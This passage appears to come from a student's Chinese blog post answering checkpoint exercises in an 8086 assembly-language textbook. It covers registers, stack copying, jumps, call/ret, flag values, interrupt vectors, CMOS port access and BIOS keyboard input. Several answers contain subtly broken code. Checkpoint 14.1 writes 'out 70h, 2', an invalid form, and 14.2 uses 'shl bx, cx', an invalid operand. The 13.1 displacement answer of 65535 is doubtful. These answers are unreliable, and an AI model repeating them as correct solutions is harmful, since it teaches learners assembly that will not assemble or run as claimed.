    mov bx, [0001] BX =
    mov ax, bx AX =
    mov ax, [0000] AX =
    mov bx, [0002] BX =
    add ax, bx AX =
    add ax, [0004] AX =
    mov ax, 0 AX =
    mov al, [0002] AX =
    mov bx, 0 BX =
    mov bl, [000C] BX =
    add al, bl AX =

    提示,注意ds的设置。

    2662H E626H E626H 2662H D6E6H FD48H 2C14H 0 00E6H 0 0026H 000CH

  2. 内存中的情况如图3.6所示。
    各寄存器的初始值:CS=2000H,IP=0,DS=1000H,AX=0,BX=0;
    (1)写出CPU执行的指令序列(用汇编指令写出)
    (2)写出CPU执行每条指令后,CS、IP和相关寄存器中的数值。
    (3)再次体会:数据和程序有区别吗?如何确定内存中的信息哪些是数据,哪些是程序?
指令 CS:IP DS AX BX
mov ax, 6622H 2000:3 1000H 6622H 0
jmp 0ff0:0100 2000:8->0ff0:0100 1000H 6622H 0
mov ax, 2000H 0ff0:0103 1000H 2000H 0
mov ds, ax 0ff0:0105 2000H 2000H 0
mov ax, [0008] 0ff0:0108 2000H C389H 0
mov ax, [0002] 0ff0:010B 2000H EA66H 0

程序和数据没有区别,本质上都是二进制01码,关键在于CPU如何解读。

检测点 3.2

  1. 补全下面的程序,使其可以将10000H~1000FH中的8个字,逆序复制到20000H~2000FH中。逆序复制的含义如图3.17所示(图中内存里的数据均为假设)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    mov ax, 1000H
    mov ds, ax
    __________
    __________
    __________
    push [0]
    push [2]
    push [4]
    push [6]
    push [8]
    push [A]
    push [C]
    push [E]

    答案:

    1
    2
    3
    mov ax, 2000H
    mov ss, ax
    mov sp, 0010H
  2. 补全下面的程序,使其可以将10000H~1000FH中的8个字,逆序复制到20000H~2000FH中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    mov ax, 2000H
    mov ds, ax
    __________
    __________
    __________
    pop [E]
    pop [C]
    pop [A]
    pop [8]
    pop [6]
    pop [4]
    pop [2]
    pop [0]

    答案:

    1
    2
    3
    mov ax, 1000H
    mov ss, ax
    mov sp, 0

第六章 包含多个段的程序

检测点 6.1

  1. 下面的程序实现依此用内存0:0-0:15单元中的内容改写程序中的数据,完成程序:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    assume cs:codesg

    codesg segment
    dw 0123h, 0456h, 0789h, 0abch, 0defh, 0fedh, 0cbah, 0987h

    start: mov ax, 0
    mov ds, ax
    mov bx, 0

    mov cx, 8
    s: mov ax, [bx]
    _________
    add bx, 2
    loop s

    mov ax, 4c00h
    int 21h

    codesg ends

    end start

    答案:

    1
    mov cs:[bx], ax
  2. 下面的程序实现依此用内存0:0-0:15单元中的内容改写程序中的数据,数据的传送用栈来进行。栈空间设置在程序内。完成程序:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    assume cs:codesg
    dw 0123h, 0456h, 0789h, 0abch, 0defh, 0fedh, 0cbah, 0987h

    dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

    start: mov ax, ____
    mov ss, ax
    mov sp, ____

    mov ax, 0
    mov ds, ax
    mov bx, 0
    mov cx, 8
    s: push [bx]
    ____________
    add bx, 2
    loop s

    mov ax, 4c00h
    int 21h

    codesg ends

    end start

    答案:

    1
    2
    3
    cs
    24h
    pop cs:[bx]

第九章 转移指令的原理

检测点 9.1

  1. 程序如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    assume cs:code

    data segment
    ___________
    data ends

    code segment
    start: mov ax, data
    mov ds, ax
    mov bx, 0
    jmp word ptr [bx+1]

    code ends
    end start

    若要使程序中的jmp指令执行后,CS:IP指向程序的第一条指令,在data段中应该定义哪些数据?
    答案:

    1
    dw 0, 0
  2. 程序如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    assume cs:code

    data segment
    dd 12345678H
    data ends

    code segment

    start: mov ax, data
    mov ds, ax
    mov bx, 0
    mov [bx], ____
    mov [bx + 2], ____
    jmp dword ptr ds:[0]

    code ends

    end start

    补全程序,使jmp指令执行后,CS:IP指向程序的第一条指令。
    答案:

    1
    2
    bx
    cs

    注意:bx指向低位,bx+2指向高位,低位为IP,而高位为CS。

  3. 用Debug查看内存,结果如下:

    1
    2000:1000 BE 00 06 00 00 00 ......

    则此时,CPU执行指令:

    1
    2
    3
    mov ax, 2000H
    mov es, ax
    jmp dword ptr es:[1000H]

    后,(CS)=?,(IP)=?
    答案:
    (CS)=0006,(IP)=00BE

检测点 9.2

补全编程,利用jcxz指令,实现在内存2000H段中查找第一个值为0的字节,找到后,将它的偏移地址存储在dx中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
assume cs:code
code segment
start: mov ax, 2000H
mov ds, ax
mov bx, 0
s: __________
__________
__________
__________
jmp short s
ok: mov dx, bx
mov ax, 4c00h
int 21h
code ends
end start

答案:
1
2
3
4
mov cl, [bx]
mov ch, 0 ;注意这一步的必要性
jcxz ok
inc bx

检测点 9.3

补全编程,利用loop指令,实现在内存的2000H段中查找第一个值为0的字节,找到后,将它的偏移地址存储在dx中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
assume cs:code
code segment
start: mov ax, 2000H
mov ds, ax
mov bx, 0
s: mov cl, [bx]
mov ch, 0
_________
inc bx
loop s
ok: dec bx
mov dx, bx
mov ax, 4c00h
int 21h
code ends
end start

答案:
1
inc cx ;注意loop的工作原理

第十章 CALL和RET指令

检测点 10.1

补全程序,实现从内存1000:0000处开始执行指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
assume cs:code

stack segment
db 16 dup (0)
stack ends

code segment
start: mov ax,stack
mov ss,ax
mov sp,16
mov ax, ____
push ax
mov ax, ____
push ax
retf
code ends

end start

答案:
1
2
1000h
0

检测点 10.2

下面的程序执行后,ax中的数值为多少?

内存地址 机器码 汇编指令
1000:0 b8 00 00 mov ax,0
1000:3 e8 01 00 call s
1000:6 40 inc ax
1000:7 58 s: pop ax

ax中的数值为6,注意执行完call s后,IP先变为6,然后将IP的值压栈,最后跳转至s。

检测点 10.3

下面的程序执行后,ax中的数值为多少?

内存地址 机器码 汇编指令
1000:0 b8 00 00 mov ax,0
1000:3 9a 09 00 00 10 call far ptr s
1000:8 40 inc ax
1000:9 58 s: pop ax
add ax,ax
pop bx
add ax,bx

ax中的数值为1010H,注意执行完call far ptr s后,IP先变为8,然后将CS、IP的值分别为1000和8依此压栈,最后再跳转至s继续执行。

检测点 10.4

下面的程序执行后,ax中的数值为多少?

内存地址 机器码 汇编指令
1000:0 b8 06 00 mov ax,6
1000:3 ff d0 call ax
1000:5 40 inc ax
1000:6 58 mov bp,sp
add ax,[bp]

ax中的数值为0BH,分析方法类似检测点10.2

检测点 10.5

  1. 下面的程序执行后,ax中的数值为多少?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    assume cs:code
    stack segment
    dw 8 dup (0)
    stack ends
    code segment
    start: mov ax,stack
    mov ss,ax
    mov sp,16
    mov ds,ax
    mov ax,0
    call word ptr ds:[0eh]
    inc ax
    inc ax
    inc ax
    mov ax,4c00h
    int 21h
    code ends
    end start

    ax中的数值为3,注意ds与ss中存放的段地址相同,在执行了call word ptr ds:[0EH]之后,程序会先将下一条指令inc ax的偏移量压栈,然后跳转到栈顶所指向的指令的位置,即跳转至第一条inc ax的位置,故最后ax的值为3。
    注意:在使用Debug单步跟踪的时候,由于t命令所导致的中断,而影响了栈中的值。

  2. 下面的程序执行后,ax和bx中的数值为多少?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    assume cs:codesg
    data segment
    dw 8 dup (0)
    data ends
    code segment
    start: mov ax,data
    mov ss,ax
    mov sp,16
    mov word ptr ss:[0],offset s
    mov ss:[2],cs
    call dword ptr ss:[0]
    nop
    s: mov ax,offset s
    sub ax,ss:[0ch]
    mov bx,cs
    sub bx,ss:[0eh]
    mov ax,4c00h
    int 21h
    code ends
    end start

    ax中的数值为1,bx中的数值为0,注意到程序的一开始将a的偏移量和cs放入ss:[0]和ss:[2]中,然后调用call指令,将CS和IP(nop指令的偏移量)依此压栈后跳转到s处继续执行,ax最终为s的偏移量减去nop指令所在位置的偏移量,为1,bx最终为cs的段地址相减,为0。

第十一章 标志寄存器

检测点 11.1

写出下面每条指令执行后,ZF、PF、SF等标志位的值

指令 ZF PF SF
sub al, al 1 1 0
mov al, 1 1 1 0
push ax 1 1 0
pop bx 1 1 0
add al, bl 0 0 0
add bl, 10 0 1 0
mul al 0 1 0

检测点 11.2

写出下面每条指令执行后,ZF、PF、SF、CF、OF等标志位的值

指令 CF OF SF ZF PF
sub al, al 0 0 0 1 1
mov al, 10H 0 0 0 1 1
add al, 90H 0 0 1 0 1
mov al, 80H 0 0 1 0 1
add al, 80H 1 1 0 1 1
mov al, 0FCH 1 1 0 1 1
add al, 05H 1 0 0 0 0
mov al, 7DH 1 0 0 0 0
add al, 0BH 0 1 1 0 1

检测点 11.3

  1. 补全下面的程序,统计F000:0处32个字节中,大小在[32,128]的数据的个数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    	mov ax, 0f000h
    mov ds, ax

    mov bx, 0
    mov dx, 0
    mov cx, 32
    s: mov al, [bx]
    cmp al, 32
    __________
    cmp al, 128
    __________
    inc dx
    s0: inc bx
    loop s

    答案:

    1
    2
    jb s0
    ja s0
  2. 补全下面的程序,统计F000:0处32个字节中,大小在(32,128)的数据的个数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    	mov ax, 0f000h
    mov ds, ax

    mov bx, 0
    mov dx, 0
    mov cx, 32
    s: mov al, [bx]
    cmp al, 32
    __________
    cmp al, 128
    __________
    inc dx
    s0: inc bx
    loop s

    答案:

    1
    2
    jna s0
    jnb s0

检测点 11.4

下面的程序执行后:(ax)=?

1
2
3
4
5
6
7
8
9
mov ax, 0
push ax
popf ;将PSW置0(本章所学习的标志位都为0)
mov ax, 0fff0h
add ax, 0010h ;修改相关标志位
pushf
pop ax ;(将PSW保存至ax)
and al, 11000101B
and ah, 00001000B ;只考虑CF,PF,ZF,SF,OF五个标志位

答案:
(ax)=45H

第十二章 内中断

检测点 12.1

  1. 用Debug查看内存,情况如下:
    0000:0000 68 10 A7 00 8B 01 70 00-16 00 9D 03 8B 01 70 00
    则3号中断源对应的中断处理程序的入口地址为:____
    答案:
    0070:018B
    注意高地址存放段地址,低地址存放偏移地址

  2. 存储N号中断源对应的中断处理程序入口的偏移地址的内存单元的地址为:
    存储N号中断源对应的中断处理程序入口的段地址的内存单元的地址为:

    答案:4N,4N+2

第十三章 int指令

检测点 13.1

  1. 在上面的内容中,我们用7ch中断例程实现loop的功能,则上面的7ch中断例程所能进行的最大转移位移为多少?
    答案:65535

  2. 用7ch中断例程完成jmp near ptr s指令的功能,用bx向中断例程传送转移位移。
    答案:

    1
    2
    3
    4
    5
    jnp:	push bp
    mov bp, sp
    add [bp+2], bx
    pop bp
    iret

检测点 13.2

判断下面说法的正误:

  1. 我们可以编程改变FFFF:0处的指令,使得CPU不去执行BIOS中的硬件系统检测和初始化程序。
    错误:FFFF:0处的内容无法修改
  2. int 19h中断例程,可以由DOS提供。
    错误:此时DOS还未被引导

第十四章 端口

检测点 14.1

  1. 编程,读取CMOS RAM的2号单元的内容。
    1
    2
    3
    mov al, 2
    out 70h, 2
    in al, 71h
  2. 编程,向CMOS RAM的2号单元写入0。
    1
    2
    3
    4
    mov al, 2
    out 70h, 2
    mov al, 0
    out 71h, al

检测点 14.2

编程,用加法和位移指令计算(ax)=(ax)*10。
提示,(ax)*10=(ax)*2+(ax)*8。

1
2
3
4
5
mov bx, ax
shl ax, 1
mov cl, 3
shl bx, cx
add ax, bx

第十五章 外中断

检测点 15.1

  1. 仔细分析一下上面的int 9中断例程,看看是否可以精简一下?
    其实在我们的int 9中断例程中,模拟int指令调用原int 9中断例程的程序段是可以精简的,因为在进入中断例程后,IF和TF都已经置0,没有必要再进行设置了。对于程序段:

    1
    2
    3
    4
    5
    6
    7
    pushf
    pushf
    pop ax
    and ah, 11111100B
    push ax
    popf
    call dword ptr ds:[0]

    可以精简为:

    1
    2
    pushf
    call dword ptr ds:[0]

    两条指令。

  2. 仔细分析上面程序中的主程序,看看有什么潜在的问题?
    在主程序中,如果在执行设置int 9中断例程的段地址和偏移地址的指令之间发生了键盘中断,则CPU将转去一个错误的地址执行,将发生错误。
    找出这样的程序段,改写它们,排除潜在的问题。
    提示,注意sti和cli指令的用法。
    答案:

    1
    2
    3
    4
    cli
    mov word ptr es:[9*4],offset int9
    mov word ptr es:[9*4+2],cs
    sti

    以及:

    1
    2
    3
    4
    5
    6
    cli
    push ds:[0]
    pop es:[9*4]
    push ds:[2]
    pop es:[9*4+2]
    sti

第十六章 直接定址表

检测点 16.1

下面的程序将code段中a处的8个数据累加,结果存储到b处的双字中,补全程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
assume cs:code
code segment
a dw 1, 2, 3, 4, 5, 6, 7, 8
b dd 0
start: mov si, 0
mov cx, 8
s: mov ax, ____
add ____, ax
adc ____, 0
add si, ____
loop s

mov ax, 4c00h
int 21h

code ends
end start

答案:
1
2
3
4
a[si]
word ptr b[0]
word ptr b[2]
2

注意word ptr的使用

检测点 16.2

下面的程序将data段中a处的8个数据累加,结果存储到b处的字中,补全程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
assume cs:code, es:data

data segment
a db 1, 2, 3, 4, 5, 6, 7, 8
b dw 0
data ends

code segment
start: __________
__________
mov si, 0
mov cx, 8
s: mov al, a[si]
mov ah, 0
add b, ax
inc si
loop s

mov ax, 4c00h
int 21h
code ends
end start

答案:
1
2
mov ax, data
mov es, ax

第十七章 使用BIOS进行键盘输入和磁盘读写

检测点 17.1

“在int 16h中断例程中,一定有设置IF=1的指令”,这种说法对吗?

正确,int 16h中断例程在键盘缓冲区中没有数据时,会等待直到键盘缓冲区中有数据为止,因此,int 16h中需要处理int 9h中断,所以一定有设置IF=1的指令。

评论和共享

作者的图片

码龙黑曜

iOS开发者/计算机科学/兽人控


华中科技大学 本科在读


Wuhan, China